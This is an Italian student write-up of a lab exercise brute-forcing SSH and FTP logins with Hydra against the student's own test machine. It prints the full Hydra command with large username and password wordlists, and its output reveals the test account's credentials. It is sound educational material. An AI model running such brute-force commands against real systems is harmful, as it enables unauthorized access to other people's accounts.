

HYDRA

Ho seguito la parte guidata dell'esercizio configurando il server ssh e connettendomi con il nuovo utente creato su kali (test_user).

Ho quindi lanciato l'attacco con hydra. Ad un certo punto l'ho interrotto (dopo oltre 30 minuti) perché il processo era lunghissimo. Anche se c'era da aspettarselo ho modificato i due file inserendo username e password del server ssh per facilitare l'azione di cracking e renderla breve ai fini dell'esercizio.

```
(kali@kali)-[~]
$ sudo hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-26 04:53:55
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.50.100:22/

[STATUS] 40.00 tries/min, 40 tries in 00:01h, 8295454999960 to do in 3456439583:20h, 4 active
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 8295454999916 to do in 4937770833:18h, 4 active

[STATUS] 26.29 tries/min, 184 tries in 00:07h, 8295454999816 to do in 5259799365:50h, 4 active
[STATUS] 25.73 tries/min, 386 tries in 00:15h, 8295454999614 to do in 5372704015:18h, 4 active
[STATUS] 25.61 tries/min, 794 tries in 00:31h, 8295454999206 to do in 5397966099:24h, 4 active
```

Si vede chiaramente dai vari STATUS che il processo completo avrebbe preso molto tempo. Dopo la modifica invece restituisce i valori quasi immediatamente come si evince dallo screen sottostante.

```
(kali@kali)-[~]
$ sudo hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-26 05:39:38
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
```

Ho poi proseguito con il resto dell'esercizio configurando il servizio ftp. Come avvenuto per l'ssh ho usato hydra per il password cracking. Le credenziali sono state trovate subito perché ho scelto i file già usati in precedenza. È naturale pensare che in un ambiente reale il processo impieghi molto tempo. La rapidità con cui hydra lavora in questo caso è frutto dell'artificio che ho creato modificando i file degli user e delle password usati per questo attacco.

Questo procedimento può essere usando per tentare un password cracking su diversi servizi.

Cambia leggermente la sintassi di hydra(già dagli screen notiamo la differenza tra un attacco rivolto a ssh o ftp), ma il ragionamento generale dietro gli attacchi rimane lo stesso.

Grazie